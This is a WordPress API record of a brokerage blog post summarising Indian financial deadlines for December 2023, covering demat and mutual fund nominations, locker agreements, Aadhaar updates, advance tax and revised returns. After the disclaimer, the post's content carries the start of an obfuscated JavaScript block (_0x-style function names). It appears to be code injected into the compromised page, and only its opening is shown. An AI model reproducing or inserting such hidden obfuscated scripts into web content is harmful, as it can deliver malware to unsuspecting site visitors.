{"id":5763,"date":"2023-11-30T07:04:40","date_gmt":"2023-11-30T07:04:40","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=5763"},"modified":"2023-11-30T07:04:41","modified_gmt":"2023-11-30T07:04:41","slug":"financial-changes-for-december-2023","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/","title":{"rendered":"7 Key Financial Changes in December: Demat Account Nominations, Third Advance Tax Instalment, and More"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Key_Highlights\" >Key Highlights<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Deadline_for_Revised_Tax_Returns\" >Deadline for Revised Tax Returns<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Mutual_Funds_and_Equity_Investor_Responsibilities\" >Mutual Funds and Equity Investor Responsibilities<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Demat_Account_Nominations\" >Demat Account Nominations<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Revised_Locker_Agreement\" >Revised Locker Agreement<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Aadhaar_Card_Updates\" >Aadhaar Card Updates<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Third_Advance_Tax_Installment\" >Third Advance Tax Installment<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Changes_to_HDFC_Banks_Regalia_Credit_Card_Lounge_Access\" >Changes to HDFC Bank\u2019s Regalia Credit Card Lounge Access<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/#Impact_on_Traders_and_Investors\" >Impact on Traders and Investors<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/personal-finance\/\">Personal Finance<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>7 Key Financial Changes in December: Demat Account Nominations, Third Advance Tax Instalment, and More<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As we step into the last month of the year, December brings forth significant financial changes that demand your attention. From mutual fund nominations to credit card lounge access modifications, here&#8217;s a breakdown of the crucial updates impacting your financial decision.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Highlights\"><\/span>Key Highlights<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Nominate or opt out for MF investments and demat accounts by December 31.<\/li>\n\n\n\n<li>Sign and submit a revised locker agreement for bank lockers by the same date.<\/li>\n\n\n\n<li>Free Aadhaar update last date is December 14; costs will be incurred afterwards.<\/li>\n\n\n\n<li>The third advance tax instalment is due by December 15; assess your tax liability.<\/li>\n\n\n\n<li>The last date to file revised returns or belated returns is December 31; penalties apply.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Deadline_for_Revised_Tax_Returns\"><\/span>Deadline for Revised Tax Returns<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The deadline for filing revised or belated tax returns for the financial year 2022-23 is December 31, 2023. Failure to meet this deadline incurs a penalty, with varying amounts based on income levels.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Mutual_Funds_and_Equity_Investor_Responsibilities\"><\/span>Mutual Funds and Equity Investor Responsibilities<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/blog\/mutual-fund-investment\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Mutual fund<\/mark><\/a> holders and equity investors must provide nominations or opt-out before December 31, 2023. Failure to comply may restrict transactions such as redemptions and systematic withdrawal plans from January 1, 2024.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Demat_Account_Nominations\"><\/span>Demat Account Nominations<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Investors in stocks through demat accounts need to make nominations or opt out by December 31, 2023. Failing to do so could result in the freezing of trading and demat accounts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em><a href=\"https:\/\/www.shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Now, open a free demat account and trade at zero brokerage.<\/mark><\/a><\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Revised_Locker_Agreement\"><\/span>Revised Locker Agreement<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you have a bank locker and submitted an agreement before December 31, 2022, you must sign a revised locker agreement by the same date to comply with the Reserve Bank of India&#8217;s guidelines.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Aadhaar_Card_Updates\"><\/span>Aadhaar Card Updates<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Free updates for Aadhaar cards are available until December 14, 2023. After this date, updates will incur a cost. Users who haven&#8217;t updated their Aadhaar in the last 10 years should do so before the deadline to avoid potential issues with government facilities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Third_Advance_Tax_Installment\"><\/span>Third Advance Tax Installment<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>December 15, 2023, marks the deadline for the third advance tax instalment. Salaried individuals and those with additional income sources need to assess their advance tax liability and make the necessary payments.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Changes_to_HDFC_Banks_Regalia_Credit_Card_Lounge_Access\"><\/span>Changes to HDFC Bank\u2019s Regalia Credit Card Lounge Access<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>HDFC Bank has implemented changes to lounge access for Regalia credit cardholders within India. The new criteria are based on credit card spending, with additional benefits for users reaching specified spending milestones.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Impact_on_Traders_and_Investors\"><\/span>Impact on Traders and Investors<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As we end our financial journey for December, it&#8217;s clear that some important changes are coming for investors and traders in India. Whether you&#8217;re into mutual funds, stocks, or just have a bank locker, there are things you need to do. Make sure you update your Aadhaar if it&#8217;s been 10 years. Don&#8217;t forget about the third advance tax payment by December 15. And file your tax returns by December 31 to avoid penalties. Keep an eye on the RBI&#8217;s decisions about interest rates; it could affect loans. And if you have an HDFC Regalia credit card, there are changes to how you access lounges. Stay on top of these things for a financially smart December and a good start to the new year.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Source- <a href=\"https:\/\/www.moneycontrol\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">moneycontrol.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return 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From mutual fund nominations to credit card lounge access modifications, here&#8217;s a breakdown of the crucial updates impacting your financial decision. Key Highlights Deadline for Revised Tax Returns The deadline for filing revised or belated &hellip; <a href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;7 Key Financial Changes in December: Demat Account Nominations, Third Advance Tax Instalment, and More&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":5764,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082,11],"tags":[2710,2708,2374,2712,2709,2711],"class_list":["post-5763","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","category-personal-finance","tag-aadhaar-card-updates","tag-demat-account-nominations","tag-financial-changes","tag-regalia-credit-card-lounge-access","tag-revised-locker-agreement","tag-third-advance-tax-installment"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Important Financial Changes for December 2023<\/title>\n<meta name=\"description\" content=\"Stay informed on financial changes this December! File revised returns, update Aadhaar, and know Regalia credit card lounge access updates.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Important Financial Changes for December 2023\" \/>\n<meta property=\"og:description\" content=\"Stay informed on financial changes this December! File revised returns, update Aadhaar, and know Regalia credit card lounge access updates.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/financial-changes-for-december-2023\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2023-11-30T07:04:40+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-11-30T07:04:41+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/11\/Important-Financial-Changes-for-December-2023.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Important Financial Changes for December 2023\" \/>\n<meta name=\"twitter:description\" content=\"Stay informed on financial changes this December! File revised returns, update Aadhaar, and know Regalia credit card lounge access updates.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/11\/Important-Financial-Changes-for-December-2023.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"7 Key Financial Changes in December: Demat Account Nominations, Third Advance Tax Instalment, and More\",\"datePublished\":\"2023-11-30T07:04:40+00:00\",\"dateModified\":\"2023-11-30T07:04:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/\"},\"wordCount\":545,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/11\\\/Important-Financial-Changes-for-December-2023.jpg\",\"keywords\":[\"Aadhaar Card Updates\",\"Demat Account Nominations\",\"financial changes\",\"Regalia Credit Card Lounge Access\",\"Revised Locker Agreement\",\"Third Advance Tax Installment\"],\"articleSection\":[\"News\",\"Personal Finance\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/\",\"name\":\"Important Financial Changes for December 2023\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/financial-changes-for-december-2023\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/11\\\/Important-Financial-Changes-for-December-2023.jpg\",\"datePublished\":\"2023-11-30T07:04:40+00:00\",\"dateModified\":\"2023-11-30T07:04:41+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Stay informed on financial changes this December! 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